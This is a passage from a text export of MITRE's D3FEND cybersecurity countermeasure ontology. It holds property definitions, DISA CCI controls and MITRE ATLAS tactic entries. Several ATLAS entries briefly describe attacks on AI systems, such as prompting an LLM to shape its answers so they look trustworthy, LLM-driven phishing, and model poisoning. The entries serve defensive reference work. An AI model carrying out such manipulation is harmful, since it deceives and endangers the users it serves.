definition: x exactly y: The entity x is identical to or fully corresponds to entity y.
sub property of: semantic-relation

excises
type: ObjectProperty
definition: x excises y: Technique x removes a section of entity y.
sub property of: associated-with

executed-by
type: ObjectProperty
definition: x executed-by y: The entity or function x is carried out, performed, or run by entity y.
sub property of: associated-with
inverse of: executes

expectation-rating
type: DatatypeProperty
sub property of: d3fend-catalog-data-property

has-audience
type: ObjectProperty
sub property of: d3fend-use-case-object-property

has-contribution
type: ObjectProperty
sub property of: d3fend-kb-object-property

has-contributor
type: ObjectProperty
sub property of: d3fend-kb-object-property

has-goal
type: ObjectProperty
sub property of: d3fend-use-case-object-property

has-input
type: ObjectProperty
definition: x has-input y: An event x has input y iff y is an artifact that is present at the start of x, provides material or information required for x to begin, and during x either y's state is altered or the information content it bears is realized.
domain: Event
range: Artifact
sub property of: has-participant
inverse of: input-of

has-output
type: ObjectProperty
definition: x has-output y: An event x has output y iff y is an artifact that is present at the end of x, was not present in the same state at the start of x, and whose presence at the end is required for x to be considered complete; the change in state may arise either from a transformation of y itself or from the realization of the information content y bears.
domain: Event
range: Artifact
sub property of: has-participant
inverse of: output-of

has-prerequisite
type: ObjectProperty
sub property of: d3fend-use-case-object-property

has-procedure
type: ObjectProperty
sub property of: d3fend-general-object-property

has-weakness
type: ObjectProperty
definition: x has-weakness y: The entity x exhibits a condition y that could, in some circumstances, lead to a vulnerability.
sub property of: may-have-weakness
inverse of: weakness-of

iOS Process
type: Process
type: NamedIndividual

identifier
type: DatatypeProperty
range: string
sub property of: d3fend-catalog-data-property

impairs
type: ObjectProperty
definition: x impairs y: The entity or action x hinders entity y by reducing its normal function, capacity, or availability.
sub property of: associated-with

inventoried-by
type: ObjectProperty
definition: x inventoried-by y: The entity x is cataloged, recorded, or tracked by entity y.
sub property of: associated-with
inverse of: inventories

invoked-by
type: ObjectProperty
definition: x invoked-by y: The entity x is called, triggered, or activated by entity y.
sub property of: associated-with
sub property of: may-be-invoked-by
inverse of: invokes

date issued
type: DatatypeProperty
definition: Date of formal issuance of the resource.
range: dateTime
sub property of: date

kb-abstract
type: AnnotationProperty
definition: x kb-abstract y: The reference x has the abstract y.
domain: TechniqueReference
range: string
sub property of: d3fend-kb-reference-annotation

kb-article
type: AnnotationProperty
definition: The technique x has the kb-article y, where y is written in Markdown.
domain: Technique
range: string
sub property of: d3fend-kb-reference-annotation

kb-author
type: AnnotationProperty
definition: x kb-author y: The reference x has some author y.
domain: TechniqueReference
range: string
sub property of: d3fend-kb-reference-annotation

kb-mitre-analysis
type: AnnotationProperty
definition: x kb-mitre-analysis y: The reference x has the mitre d3fend analysis y.
domain: TechniqueReference
range: string
sub property of: d3fend-kb-annotation-property

kb-organization
type: AnnotationProperty
definition: x kb-organization y: The reference x was created or owned by the organization y.
sub property of: d3fend-kb-annotation-property

label
type: AnnotationProperty
sub property of: label

loaded-by
type: ObjectProperty
definition: x loaded-by y: The entity x is brought into memory by entity y.
sub property of: associated-with
inverse of: loads

macOS Process
type: Process
type: NamedIndividual

mapped-by
type: ObjectProperty
definition: x mapped-by y: The entity x is linked to another entity by entity y.
sub property of: associated-with
inverse of: maps

may-be-deceived-by
type: ObjectProperty
pref-label: may be deceived by
sub property of: attack-may-be-countered-by
inverse of: may-deceive

may-be-detected-by
type: ObjectProperty
pref-label: may be detected by
sub property of: attack-may-be-countered-by
inverse of: may-detect

may-be-evicted-by
type: ObjectProperty
pref-label: may be evicted by
sub property of: attack-may-be-countered-by
inverse of: may-evict

may-be-hardened-against-by
type: ObjectProperty
pref-label: may be hardened against by
sub property of: attack-may-be-countered-by
inverse of: may-harden

may-be-isolated-by
type: ObjectProperty
pref-label: may be isolated by
sub property of: attack-may-be-countered-by
inverse of: may-isolate

date modified
type: DatatypeProperty
definition: Date on which the resource was changed.
range: dateTime
sub property of: date

modifies-part
type: ObjectProperty
definition: x modifies-part y: The entity x modifies a part of y. [Note: This is a rolification property for the rule 'if one modifies a part of a whole, they modify the whole.' Reasoning for this and similar semantics to come are under evaluation and not part of current d3fend inferences.]
sub property of: may-modify
property chain axiom: modifies
property chain axiom: contains

narrower
type: ObjectProperty
definition: x narrower y: The entity x represents a more specific or focused concept than entity y.
sub property of: semantic-relation

narrower-transitive
type: ObjectProperty
definition: x narrower-transitive y: The entity x represents a more specific concept than entity y, including indirect or hierarchical relationships where x is a subset of y through intermediate entities.
sub property of: semantic-relation

operating-system
type: DatatypeProperty
definition: x operating-system y: The product x is supported on operating system y.
range: string
sub property of: d3fend-catalog-data-property

pref-label
type: AnnotationProperty
definition: x pref-label y: The preferred display value for x is y in d3fend tools.
sub property of: d3fend-annotation

Procedure 1 - T1134.001 Access Token Manipulation
type: Procedure
type: NamedIndividual
implements: Token Impersonation/Theft
start: Step 1 - Copy Token

process-parent
type: ObjectProperty
definition: x process-parent y: The process y created the process x (directly) with a create process event.
sub property of: process-ancestor
alternative label: processParent

produced-by
type: ObjectProperty
definition: x produced-by y: The entity x is created by entity y.
sub property of: associated-with
inverse of: produces

rating
type: DatatypeProperty
type: FunctionalProperty
sub property of: d3fend-catalog-data-property

related
type: ObjectProperty
definition: x related y: x has a symmetric associative relation to y.
sub property of: semantic-relation

release-date
type: AnnotationProperty
definition: x release-date y: The object x has the release-date y.
sub property of: d3fend-annotation
sub property of: versionInfo

resume
type: ObjectProperty
definition: The agent or technique x continues a previous action on entity y. Usually occurs after suspension on y.
sub property of: d3fend-process-object-property

risk-impact
type: DatatypeProperty
definition: Risk impact rating, expressed on a numeric scale from 1 (lowest impact) to 5 (highest impact) in the context of a 5x5 risk matrix. Impact is used here as a synonym for consequence, another popular term used in risk analysis.
range: Datatype
  on datatype: integer
  with restrictions:
    min inclusive: 1
  with restrictions:
    max inclusive: 5
sub property of: d3fend-data-property

risk-likelihood
type: DatatypeProperty
definition: Risk likelihood rating, expressed on a numeric scale from 1 (lowest likelihood) to 5 (highest likelihood) in the context of a 5x5 risk matrix.
range: Datatype
  on datatype: integer
  with restrictions:
    min inclusive: 1
  with restrictions:
    max inclusive: 5
sub property of: d3fend-data-property

stage
type: DatatypeProperty
type: FunctionalProperty
sub property of: d3fend-catalog-data-property

synonym
type: AnnotationProperty
definition: an equivalent term.
sub property of: d3fend-annotation

t-SNE Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-TSC
definition: T-distributed Stochastic Neighbor Embedding (t-SNE) is a statistical method for visualizing high-dimensional data by giving each datapoint a location in a two or three-dimensional map.
kb-article: ## References Wikipedia. (n.d.). T-distributed stochastic neighbor embedding. [Link](https://en.wikipedia.org/wiki/T-distributed_stochastic_neighbor_embedding)
subclass of: Projection-based Clustering

text
type: DatatypeProperty
definition: The text of the document (i.e., terms of license.)
sub property of: d3fend-catalog-data-property

title
type: DatatypeProperty
definition: A name given to the resource.
range: string
sub property of: d3fend-catalog-data-property

date valid
type: DatatypeProperty
definition: Date (often a range) of validity of a resource.
range: dateTime
sub property of: date

isDefinedBy
type: AnnotationProperty

Reference - CAR-2016-04-004: Successful Local Account Login
kb-organization: MITRE/NSA

Reference - DNS Whitelist (DNSWL) Email Authentication Method Extension
kb-author: Alessandro Vesely

D3FEND™ - A knowledge graph of cybersecurity countermeasures
type: Ontology
release-date: 2025-12-16T00:12:00+00:00
description: D3FEND is a framework which encodes a countermeasure knowledge base as a knowledge graph. The graph contains the types and relations that define key concepts in the cybersecurity countermeasure domain and the relations necessary to link those concepts to each other. Each of these concepts and relations are linked to references in the cybersecurity literature.
license: MIT
comment: Use of the D3FEND Knowledge Graph, and the associated references from this ontology are subject to the Terms of Use. D3FEND is funded by the National Security Agency (NSA) Cybersecurity Directorate and managed by the National Security Engineering Center (NSEC) which is operated by The MITRE Corporation. D3FEND™ and the D3FEND logo are trademarks of The MITRE Corporation. This software was produced for the U.S. Government under Basic Contract No. W56KGU-18-D0004, and is subject to the Rights in Noncommercial Computer Software and Noncommercial Computer Software Documentation Clause 252.227-7014 (FEB 2012) Copyright 2022 The MITRE Corporation.
version IRI: d3fend.owl
version info: 1.3.0

Develop Capabilities - ATLAS
type: Class
attack-id: AML.T0017
definition: Adversaries may develop their own capabilities to support operations. This process encompasses identifying requirements, building solutions, and deploying capabilities. Capabilities used to support attacks on AI-enabled systems are not necessarily AI-based themselves. Examples include setting up websites with adversarial information or creating Jupyter notebooks with obfuscated exfiltration code.
subclass of: ATLASResourceDevelopmentTechnique
preferred label: Develop Capabilities

Phishing - ATLAS
type: Class
attack-id: AML.T0052
definition: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Generative AI, including LLMs that generate synthetic text, visual deepfakes of faces, and audio deepfakes of speech, is enabling adversaries to scale targeted phishing campaigns. LLMs can interact with users via text conversations and can be programmed with a meta prompt to phish for sensitive information. Deepfakes can be use in impersonation as an aid to phishing.
subclass of: ATLASInitialAccessTechnique
preferred label: Phishing

LLM Trusted Output Components Manipulation - ATLAS
type: Class
attack-id: AML.T0067
definition: Adversaries may utilize prompts to a large language model (LLM) which manipulate various components of its response in order to make it appear trustworthy to the user. This helps the adversary continue to operate in the victim's environment and evade detection by the users it interacts with. The LLM may be instructed to tailor its language to appear more trustworthy to the user or attempt to manipulate the user to take certain actions. Other response components that could be manipulated include links, recommended follow-up actions, retrieved document metadata, and [Citations](/techniques/AML.T0067.000).
subclass of: ATLASDefenseEvasionTechnique
preferred label: LLM Trusted Output Components Manipulation

Use Alternate Authentication Material - ATLAS
type: Class
attack-id: AML.T0091
definition: Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. AI services commonly use alternate authentication material as a primary means for users to make queries, making them vulnerable to this technique.
subclass of: Lateral Movement Technique - ATLAS
preferred label: Use Alternate Authentication Material

AI Model Access - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0000
definition: The adversary is attempting to gain some level of access to an AI model. AI Model Access enables techniques that use various types of access to the AI model that can be used by the adversary to gain information, develop attacks, and as a means to input data to the model. The level of access can range from the full knowledge of the internals of the model to access to the physical environment where data is collected for use in the AI model. The adversary may use varying levels of model access during the course of their attack, from staging the attack to impacting the target system. Access to an AI model may require access to the system housing the model, the model may be publicly accessible via an API, or it may be accessed indirectly via interaction with a product or service that utilizes AI as part of its processes.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: AI Model Access

AI Attack Staging - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0001
definition: The adversary is leveraging their knowledge of and access to the target system to tailor the attack. AI Attack Staging consists of techniques adversaries use to prepare their attack on the target AI model. Techniques can include training proxy models, poisoning the target model, and crafting adversarial data to feed the target model. Some of these techniques can be performed in an offline manner and are thus difficult to mitigate. These techniques are often used to achieve the adversary's end goal.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: AI Attack Staging

Reconnaissance - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0002
definition: The adversary is trying to gather information about the AI system they can use to plan future operations. Reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organizations' AI capabilities and research efforts. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to obtain relevant AI artifacts, targeting AI capabilities used by the victim, tailoring attacks to the particular models used by the victim, or to drive and lead further Reconnaissance efforts.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Reconnaissance

Resource Development - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0003
definition: The adversary is trying to establish resources they can use to support operations. Resource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include AI artifacts, infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as [AI Attack Staging](/tactics/AML.TA0001).
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Resource Development

Initial Access - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0004
definition: The adversary is trying to gain access to the AI system. The target system could be a network, mobile device, or an edge device such as a sensor platform. The AI capabilities used by the system could be local with onboard or cloud-enabled AI capabilities. Initial Access consists of techniques that use various entry vectors to gain their initial foothold within the system.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Initial Access

Execution - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0005
definition: The adversary is trying to run malicious code embedded in AI artifacts or software. Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does [Remote System Discovery](https://attack.mitre.org/techniques/T1018/).
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Execution

Persistence - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0006
definition: The adversary is trying to maintain their foothold via AI artifacts or software. Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence often involve leaving behind modified ML artifacts such as poisoned training data or manipulated AI models.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Persistence

Defense Evasion - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0007
definition: The adversary is trying to avoid being detected by AI-enabled security software. Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include evading AI-enabled security software such as malware detectors.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Defense Evasion

Discovery - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0008
definition: The adversary is trying to figure out your AI environment. Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what's around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Discovery

Collection - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0009
definition: The adversary is trying to gather AI artifacts and other related information relevant to their goal. Collection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to steal (exfiltrate) the AI artifacts, or use the collected information to stage future operations. Common target sources include software repositories, container registries, model repositories, and object stores.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Collection

Exfiltration - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0010
definition: The adversary is trying to steal AI artifacts or other information about the AI system. Exfiltration consists of techniques that adversaries may use to steal data from your network. Data may be stolen for its valuable intellectual property, or for use in staging future operations. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Exfiltration

Impact - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0011
definition: The adversary is trying to manipulate, interrupt, erode confidence in, or destroy your AI systems and data. Impact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries' goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Impact

Privilege Escalation - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0012
definition: The adversary is trying to gain higher-level permissions. Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: - SYSTEM/root level - local administrator - user account with admin-like access - user accounts with access to specific system or perform specific function These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Privilege Escalation

Credential Access - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0013
definition: The adversary is trying to steal account names and passwords. Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Credential Access

Command and Control - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0014
definition: The adversary is trying to communicate with compromised AI systems to control them. Command and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim's network structure and defenses.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Command and Control

Lateral Movement - ATLAS
type: OffensiveTactic
type: Class
type: NamedIndividual
attack-id: AML.TA0015
definition: The adversary is trying to move through your AI environment. Lateral Movement consists of techniques that adversaries may use to gain access to and control other systems or components in the environment. Adversaries may pivot towards AI Ops infrastructure such as model registries, experiment trackers, vector databases, notebooks, or training pipelines. As the adversary moves through the environment, they may discover means of accessing additional AI-related tools, services, or applications. AI agents may also be a valuable target as they commonly have more permissions than standard user accounts on the system.
subclass of: ATLASTactic
subclass of: OffensiveTactic
preferred label: Lateral Movement

Command and Control Technique - ATLAS
type: Class
subclass of: Restriction
  on property: enables
  some values from: Command and Control - ATLAS
subclass of: ATLASTechnique
preferred label: Command and Control Technique

Lateral Movement Technique - ATLAS
type: Class
subclass of: Restriction
  on property: enables
  some values from: Lateral Movement - ATLAS
subclass of: ATLASTechnique
preferred label: Lateral Movement Technique

Actuator
type: Class
definition: An actuator is a mechanical or electromechanical device that, upon receiving a relatively low-energy control signal (e.g., electrical voltage, fluid pressure, or human force), translates its primary energy source (electric, hydraulic, or pneumatic) into targeted mechanical motion or adjustment. It typically works in conjunction with a control device (like a valve or logic driver) and is central to automation, enabling machines or systems to move, open, close, or otherwise manipulate their components or environment. By amplifying or redirecting energy from one form to another, the actuator executes control commands, thereby automating processes in industrial, automotive, aerospace, and other domains where precise mechanical action is essential.
subclass of: OutputDevice

Add User to Group Event
type: Class
definition: An event where a user is added to a group, granting the user the permissions and privileges associated with the group.
subclass of: Restriction
  on property: has-participant
  some values from: UserAccount
subclass of: Restriction
  on property: preceded-by
  some values from: UserAccountCreationEvent
subclass of: Restriction
  on property: preceded-by
  some values from: GroupCreationEvent
subclass of: GroupManagementEvent

Address Space
type: Class
definition: An address space defines a range of discrete addresses, each of which may correspond to a network host, peripheral device, disk sector, a memory cell or other logical or physical entity. For software programs to save and retrieve stored data, each unit of data must have an address where it can be located. The number of address spaces available depends on the underlying address structure, which is usually limited by the computer architecture being used.
subclass of: DigitalInformationBearer

Application Deletion Event
type: Class
definition: An event capturing the removal of an application from a system, ensuring its binaries, configuration files, and registry entries are deleted or deactivated.
subclass of: Restriction
  on property: preceded-by
  some values from: ApplicationInstallationEvent
subclass of: ApplicationEvent

Application Disable Event
type: Class
definition: An event capturing the disabling of an application, preventing it from being operational or accessed until re-enabled.
subclass of: Restriction
  on property: preceded-by
  some values from: Application Enable Event
subclass of: ApplicationEvent

Application Layer Firewall
type: Class
definition: An application firewall is a form of firewall that controls input, output, and/or access from, to, or by an application or service. It operates by monitoring and potentially blocking the input, output, or system service calls that do not meet the configured policy of the firewall. The application firewall is typically built to control all network traffic on any OSI layer up to the application layer. It is able to control applications or services specifically, unlike a stateful network firewall, which is - without additional software - unable to control network traffic regarding a specific application. There are two primary categories of application firewalls, network-based application firewalls and host-based application firewalls.
subclass of: Firewall
alternative label: Application Firewall

Application Restart Event
type: Class
definition: An event where an application is sequentially stopped and started, typically to refresh its state, apply updates, or resolve issues while preserving its availability.
subclass of: Restriction
  on property: preceded-by
  some values from: Application Stop Event
subclass of: Restriction
  on property: precedes
  some values from: ApplicationStartEvent
subclass of: ApplicationEvent

Application Rule
type: Class
definition: A configuration of an application which is used to apply logical or data processing functions to data processed by the application.
subclass of: ApplicationConfiguration

Application Runtime Variable
type: Class
definition: A system variable that tracks aspects of runtime of a system.
subclass of: RuntimeVariable

Approximate String Matching
type: Class
type: NamedIndividual
d3fend-id: D3A-ASM
definition: Approximate string matching is a form of string matching that allows errrors.
kb-article: ## References 1. Navarro, G. (2001). A guided tour to approximate string matching. _ACM Computing Surveys_, 33(1), 31-88. [Link](https://doi.org/10.1145/375360.375365)
subclass of: PartialMatching

Asset Inventory Agent
type: Class
type: NamedIndividual
definition: An asset inventory agent is a software tool which captures and transmits information about the devices on a network, including their hostnames, MAC addresses, software they may be running, etc.
subclass of: NetworkAgent

Assign Privileges to Group Event
type: Class
definition: An event where specific privileges or rights are granted to a group, enabling its members to perform actions or access resources as defined by the privileges.
subclass of: Restriction
  on property: preceded-by
  some values from: GroupCreationEvent
subclass of: GroupManagementEvent
subclass of: Permission Granting Event

Authorization Event
type: Class
definition: An event reflecting the decision-making process and actions concerning access control, recording whether agents are permitted or denied access to resources based on pre-defined access control policies.
subclass of: Restriction
  on property: has-participant
  some values from: Agent
subclass of: Restriction
  on property: caused-by
  some values from: Authorization
subclass of: DigitalEvent

Bayesian Linear Regression
type: Class
type: NamedIndividual
d3fend-id: D3A-BLR
definition: Bayesian linear regression is a type of conditional modeling in which the mean of one variable is described by a linear combination of other variables, with the goal of obtaining the posterior probability of the regression coefficients.
kb-article: ## References Wikipedia. (n.d.). Bayesian linear regression. [Link](https://en.wikipedia.org/wiki/Bayesian_linear_regression)
subclass of: RegressionAnalysis

Binary Large Object
type: Class
definition: A binary large object (BLOB) is a collection of binary data stored as a single entity. Blobs are typically images, audio or other multimedia objects, though sometimes binary executable code is stored as a blob.
subclass of: DigitalInformationBearer
alternative label: BLOB
alternative label: Blob

Bootstrap Aggregating
type: Class
type: NamedIndividual
d3fend-id: D3A-BA
definition: Bootstrap aggregating, also called bagging (from bootstrap aggregating), is a machine learning ensemble meta-algorithm designed to improve the stability and accuracy of machine learning algorithms used in statistical classification and regression. It also reduces variance and helps to avoid overfitting. Although it is usually applied to decision tree methods, it can be used with any type of method. Bagging is a special case of the model averaging approach.
kb-article: ## References Bootstrap aggregating. Wikipedia. [Link](https://en.wikipedia.org/wiki/Bootstrap_aggregating).
subclass of: ResamplingEnsemble

CAPEC Thing
type: Class
subclass of: ExternalThreatModelThing

CART
type: Class
type: NamedIndividual
d3fend-id: D3A-CAR
definition: The CART algorithm is a type of classification algorithm that is required to build a decision tree on the basis of Gini’s impurity index.
kb-article: ## References Classification and Regression Tree (CART) Algorithm. Analytics Steps. [Link](https://www.analyticssteps.com/blogs/classification-and-regression-tree-cart-algorithm).
subclass of: DecisionTree

CCI-000015
type: CCIControl
type: NamedIndividual
broader: AccountLocking
broader: DomainAccountMonitoring
broader: LocalAccountMonitoring
contributor: DISA FSO
definition: The organization employs automated mechanisms to support the information system account management functions.
member-of: CCICatalog v2022-04-05
date published: 2009-05-13T00:00:00

CCI-000016
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system automatically removes or disables temporary accounts after an organization-defined time period for each type of account.
member-of: CCICatalog v2022-04-05
narrower: AccountLocking
date published: 2009-05-13T00:00:00

CCI-000017
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system automatically disables inactive accounts after an organization-defined time period.
member-of: CCICatalog v2022-04-05
narrower: AccountLocking
date published: 2009-05-13T00:00:00

CCI-000018
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system automatically audits account creation actions.
exactly: DomainAccountMonitoring
member-of: CCICatalog v2022-04-05
date published: 2009-05-13T00:00:00

CCI-000020
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system dynamically manages user privileges and associated access authorizations.
member-of: CCICatalog v2022-04-05
date published: 2009-09-14T00:00:00

CCI-000022
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces one or more organization-defined nondiscretionary access control policies over an organization-defined set of users and resources.
member-of: CCICatalog v2022-04-05
date published: 2009-05-13T00:00:00

CCI-000025
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces information flow control using explicit security attributes on information, source, and destination objects as a basis for flow control decisions.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-14T00:00:00

CCI-000027
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces dynamic information flow control based on organization-defined policies.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-05-13T00:00:00

CCI-000029
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces organization-defined limitations on the embedding of data types within other data types.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-05-13T00:00:00

CCI-000030
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces information flow control based on organization-defined metadata.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-05-13T00:00:00

CCI-000032
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces information flow control using organization-defined security policy filters as a basis for flow control decisions for organization-defined information flows.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
narrower: OutboundTrafficFiltering
date published: 2009-09-14T00:00:00

CCI-000034
type: CCIControl
type: NamedIndividual
broader: InboundTrafficFiltering
broader: OutboundTrafficFiltering
contributor: DISA FSO
definition: The information system provides the capability for a privileged administrator to enable/disable organization-defined security policy filters under organization-defined conditions.
member-of: CCICatalog v2022-04-05
date published: 2009-05-13T00:00:00

CCI-000035
type: CCIControl
type: NamedIndividual
broader: InboundTrafficFiltering
broader: OutboundTrafficFiltering
contributor: DISA FSO
definition: The information system provides the capability for privileged administrators to configure the organization-defined security policy filters to support different security policies.
member-of: CCICatalog v2022-04-05
date published: 2009-09-14T00:00:00

CCI-000037
type: CCIControl
type: NamedIndividual
broader: LocalFilePermissions
broader: UserAccountPermissions
contributor: DISA FSO
definition: The organization implements separation of duties through assigned information system access authorizations.
member-of: CCICatalog v2022-04-05
date published: 2009-09-14T00:00:00

CCI-000040
type: CCIControl
type: NamedIndividual
broader: AuthorizationEventThresholding
broader: LocalAccountMonitoring
contributor: DISA FSO
definition: The organization audits any use of privileged accounts, or roles, with access to organization-defined security functions or security-relevant information, when accessing other system functions.
member-of: CCICatalog v2022-04-05
date published: 2009-09-14T00:00:00

CCI-000044
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces the organization-defined limit of consecutive invalid logon attempts by a user during the organization-defined time period.
member-of: CCICatalog v2022-04-05
narrower: AccountLocking
date published: 2009-09-14T00:00:00

CCI-000047
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system delays next login prompt according to the organization-defined delay algorithm, when the maximum number of unsuccessful attempts is exceeded, automatically locks the account/node for an organization-defined time period or locks the account/node until released by an Administrator IAW organizational policy.
member-of: CCICatalog v2022-04-05
narrower: AccountLocking
date published: 2009-09-14T00:00:00

CCI-000056
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system retains the session lock until the user reestablishes access using established identification and authentication procedures.
member-of: CCICatalog v2022-04-05
narrower: AccountLocking
date published: 2009-09-14T00:00:00

CCI-000057
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system initiates a session lock after the organization-defined time period of inactivity.
member-of: CCICatalog v2022-04-05
narrower: AccountLocking
date published: 2009-05-19T00:00:00

CCI-000058
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides the capability for users to directly initiate session lock mechanisms.
member-of: CCICatalog v2022-04-05
narrower: AccountLocking
date published: 2009-05-19T00:00:00

CCI-000060
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system conceals, via the session lock, information previously visible on the display with a publicly viewable image.
member-of: CCICatalog v2022-04-05
narrower: AccountLocking
date published: 2009-05-19T00:00:00

CCI-000066
type: CCIControl
type: NamedIndividual
broader: RemoteTerminalSessionDetection
contributor: DISA FSO
definition: The organization enforces requirements for remote connections to the information system.
member-of: CCICatalog v2022-04-05
date published: 2009-09-14T00:00:00

CCI-000067
type: CCIControl
type: NamedIndividual
broader: RemoteTerminalSessionDetection
contributor: DISA FSO
definition: The information system monitors remote access methods.
member-of: CCICatalog v2022-04-05
date published: 2009-09-14T00:00:00

CCI-000068
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to protect the confidentiality of remote access sessions.
member-of: CCICatalog v2022-04-05
narrower: EncryptedTunnels
date published: 2009-09-14T00:00:00

CCI-000071
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization monitors for unauthorized remote connections to the information system on an organization-defined frequency.
member-of: CCICatalog v2022-04-05
narrower: RemoteTerminalSessionDetection
date published: 2009-05-19T00:00:00

CCI-000139
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system alerts designated organization-defined personnel or roles in the event of an audit processing failure.
member-of: CCICatalog v2022-04-05
narrower: SystemDaemonMonitoring
date published: 2009-09-15T00:00:00

CCI-000143
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides a warning when allocated audit record storage volume reaches an organization-defined percentage of maximum audit record storage capacity.
member-of: CCICatalog v2022-04-05
narrower: SystemDaemonMonitoring
